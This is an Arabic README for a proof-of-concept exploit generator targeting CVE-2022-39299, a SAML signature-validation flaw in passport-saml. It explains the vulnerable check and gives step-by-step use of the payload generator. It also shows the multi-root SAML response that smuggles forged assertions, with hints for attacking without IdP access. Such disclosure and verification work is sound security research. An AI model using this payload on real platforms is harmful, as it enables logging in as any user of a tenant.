
مولّد بسيط لاستغلال CVE-2022-39299 (PoC) لتجاوز المصادقة في تكاملات SAML SSO باستخدام إصدارات ضعيفة من passport-saml
الإعلان: https://github.com/node-saml/passport-saml/security/advisories/GHSA-m974-647v-whv7
التصحيح: https://github.com/node-saml/passport-saml/commit/8b7e3f5a91c8e5ac7e890a0c90bc7491ce33155e
مثال الحمولة الأساسية المستخرجة من حالات اختبار node-saml: https://github.com/node-saml/node-saml/blob/c1f275c289c01921e58f5c70ce0fdbc5287e5fbe/test/static/signatures/invalid/response.root-signed.multiple-root-elements.xml.
مؤلف الثغرة: felixwilhelm
مؤلف أداة توليد الاستغلال (الجزء السهل): Francesco Lacerenza
يمكن لمهاجم عن بعد تجاوز مصادقة SAML SSO على منصة عن طريق استغلال CVE-2022-39299 التي تؤثر على مكتبة passport-saml.
لم يكن استغلال عام متاحًا (في وقت كتابة هذا التقرير)، وتم نشر الإعلان في 10/12/2022 مع معلومات قليلة/معدومة. طورت Doyensec أداة توليد إثبات مفهوم (PoC) عاملة للتحقق من المشكلة ضد المنصات متعددة المستأجرين حيث يمكن لمسؤول المستأجر تكوين SAML SSO مع موفر هوية مخصص (IdP).
كما هو مذكور في الإعلان:
يتطلب الهجوم الناجح أن يكون المهاجم في حوزته عنصر XML موقع بشكل تعسفي من IdP. اعتمادًا على IdP المستخدم، قد تكون الهجمات غير المصادق عليها بالكامل (أي بدون الوصول إلى مستخدم صالح) ممكنة أيضًا إذا كان يمكن تشغيل توليد رسالة موقعة.
يقع الفحص الضعيف داخل الدالة validatePostResponse في passport-saml-2.0.0/src/passport-saml/saml.ts:775
// تحقق مما إذا كان هذا المستند يحتوي على توقيع صالح على المستوى الأعلى
let validSignature = false;
if (this.options.cert && this.validateSignature(xml, doc.documentElement, certs!)) {
validSignature = true;
}
بشكل خاص، تتحقق validateSignature من أن doc.documentElement في مستند XML الكامل يحتوي على توقيع صالح. نظرًا لأن الخاصية documentElement ترجع أول عقدة جذرية للمستند، فإنها ستتحقق من التوقيع على عنصر الجذر الأول فقط.
تستمر الدالة بالتحقق من وجود تأكيد واحد فقط داخل XML:
const assertions = xmlCrypto.xpath(doc, "/*[local-name()='Response']/*[local-name()='Assertion']") as HTMLElement[];
const encryptedAssertions = xmlCrypto.xpath(doc,
"/*[local-name()='Response']/*[local-name()='EncryptedAssertion']");
if (assertions.length + encryptedAssertions.length > 1) {
// لا يوجد سبب أعرفه لرغبتنا في التعامل مع تأكيدات متعددة، ويبدو أنه
// ناقل خطر محتمل لمشاكل نطاق التوقيع، لذلك نتعامل مع هذا كتوقيع غير صالح
throw new Error('Invalid signature: multiple assertions');
}
نتيجة لذلك، سيقوم محلل XML بتحليل مستند XML بجذور متعددة. بينما يمكن تطبيق التوقيع على عقدة جذر واحدة فقط، يمكن لـ XPath عبور عقد جذر متعددة للعثور على عناصر المصادقة والتفويض.
في الختام، قد تكون عقدة جذر واحدة موقعة (على سبيل المثال، رسالة خطأ SAML عامة) ثم عقدة أخرى غير موقعة يمكن أن تحتوي على معلومات مصادقة وتفويض قابلة للتعديل. بهذه الطريقة، يتمكن المهاجم من العبث بمعلومات المصادقة والحصول على وصول إلى أي حساب داخل المستأجر.
ملاحظة: يعتمد نجاح الاستغلال كليًا على المنطق الداخلي للمصادقة المتعلق باستخدام مكتبة passport. إذا كان منطق المصادقة يثق تمامًا بالكائن authenticated-session الناتج عن passport.authenticate(...PASSPORT-SAML_OPTIONS...)، فمن المحتمل أن يكون ضعيفًا.
openssl في مجلد أداة توليد PoC:openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout key.pem -out cert.pem -days 7300
بدلاً من ذلك، استخدم الموجودين داخل هذا المستودع.
في المنصة المستهدفة، انتقل كمسؤول إلى لوحة تكامل SAML SSO. ثم قم بتعيين الشهادة المستخدمة للتحقق من التوقيعات من IdP كتلك الموجودة داخل هذا المجلد.
قم بتكوين payload_appendix.xml مع عناصر المصادقة والتفويض اللازمة للمنصة لمصادقة مستخدمي SAML SSO. يمكنك العثور على هذه المعلومات في الوثائق أو من خلال بناء تكامل SSO عامل لمعرفة العناصر الصالحة.
قم بتشغيل الأمر التالي لتوليد استجابة SAML متعددة العناصر الجذرية موقعة تحتوي على بياناتك المزورة.
python3 payloadGenerator.py
استجابة SAML متعددة العناصر الجذرية لها الهيكل التالي:
<!— بداية رسالة الخطأ الموقعة —>
<samlp:Response xmlns="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="IDVALUE" Version="2.0" IssueInstant="2022-28-08T14:38:05Z">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Responder">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:NoPassive">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:PartialLogout">
</samlp:StatusCode>
</samlp:StatusCode>
</samlp:StatusCode>
<samlp:StatusMessage>Random Error</samlp:StatusMessage>
</samlp:Status>
</samlp:Response>
<!— نهاية رسالة الخطأ الموقعة. بداية معلومات المصادقة غير الموقعة —>
<Response>
<saml:Assertion ID="whatever" IssueInstant="2022-10-30T18:00:00+00:00" Version="2.0">
<!— معلومات المصادقة والتفويض المزورة —>
</saml:Assertion>
</Response>
ملاحظة: إذا كنت ترغب في استغلال هذه المشكلة عندما لا يكون لديك وصول إلى تكوين IdP، فقط قم بتعديل payloadGenerator.py عن طريق استبدال المتغير signed_base_payload_unicode المستخدم لبناء الحمولة النهائية. لكي يعمل، يجب استبداله باستجابة SAML موقعة لا تحتوي على تأكيداتات. حظًا موفقًا في إيجاد طريقة للحصول عليها من IdP الهدف (ينطبق منطق حسب الحالة ولا توجد أدبيات حولها).
في المؤسسات التي لديها تكامل SAML SSO مفعل، يمكن للمهاجمين تجاوز المصادقة وتسجيل الدخول بأي مستخدم في المستأجر.
على الرغم من أن الإعلان ينص على أن المهاجم يمكنه استخدام "عنصر XML موقع بشكل تعسفي من IdP"، تمنع مكتبة passport-saml أي رسالة XML تحتوي على تأكيدات متعددة (انظر مقتطف الكود في قسم الوصف). يتطلب القيد أن يحصل المهاجم على رسالة SAML موقعة لا تحتوي على تأكيد، مثل رسالة خطأ. يعتمد وجود مثل هذه الرسائل على تنفيذ IdP.
كمثال، استجابات SAML بدون تأكيدات مدعومة مباشرة من مكتبة Auth0 node-samlp. انظر على https://github.com/auth0/node-samlp/blob/master/lib/samlp.js
function buildSamlResponse(options) {
var SAMLResponse = templates.samlresponse({
id: '_' + utils.generateUniqueID(),
instant: utils.generateInstant(),
destination: options.destination || options.audience,
inResponseTo: options.inResponseTo,
issuer: options.issuer,
samlStatusCode: options.samlStatusCode,
samlStatusMessage: options.samlStatusMessage,
assertion: options.samlAssertion || ''
});
المثال أعلاه يوضح إمكانية إدخال مسارات كود تؤدي إلى رسائل موقعة بدون تأكيدات حتى عند استخدام تقنية Auth0. بهذا المعنى، قد تحتوي IdPs للعملاء على مثل هذه الأنماط.
إذا وجد المهاجم طريقة لتشغيل مثل هذه الرسائل، قد تكون الهجمات غير المصادق عليها بالكامل (أي بدون الوصول إلى مستخدم صالح) ممكنة أيضًا.
في الختام، المنصات متعددة المستأجرين التي تسمح بتكاملات SAML SSO مخصصة لكل مستأجر والضعيفة لـ CVE-2022-39299 قد تسمح بتجاوزات المصادقة عندما يدعم IdP الخاص بالعميل رسائل SAML خطأ موقعة بدون تأكيداتات.
أجرينا اختبارات محلية باستخدام الموارد التالية:
قم بتوليد شهادة توقيع IdP في مجلد أداة توليد PoC
openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout idp-private-key.pem -out idp-public-cert.pem -days 7300
شغّل IdP بالأمر التالي في المجلد الذي يحتوي على الشهادة والمفتاح المولدان
saml-idp --acsUrl http://127.0.0.1:3000/login/callback --audience https://127.0.0.1:3000/ --host 127.0.0.1
يحتاج التطبيق إلى تكوين إضافي للعمل مع IdP محلي. فقط املأ الملف passport-saml-example/config/config.js بمعلومات من IdP.
passport: {
strategy: 'saml',
saml: {
path: '/login/callback',
entryPoint: 'http://localhost:7000/saml/sso',
issuer: 'passport-saml',
cert: 'CERT_PASTED_HERE_IN_ONE_LINE_FROM_PREVIOUS_STEP'
}
}
كما يجب تعديل package.json لاستخدام إصدارات ضعيفة من passport. استخرج جميع الإصدارات المطلوبة من قاعدة الكود المستهدفة إذا كانت متاحة.
بمجرد أن يصبح جاهزًا، فقط ابدأ التطبيق:
npm install
npm start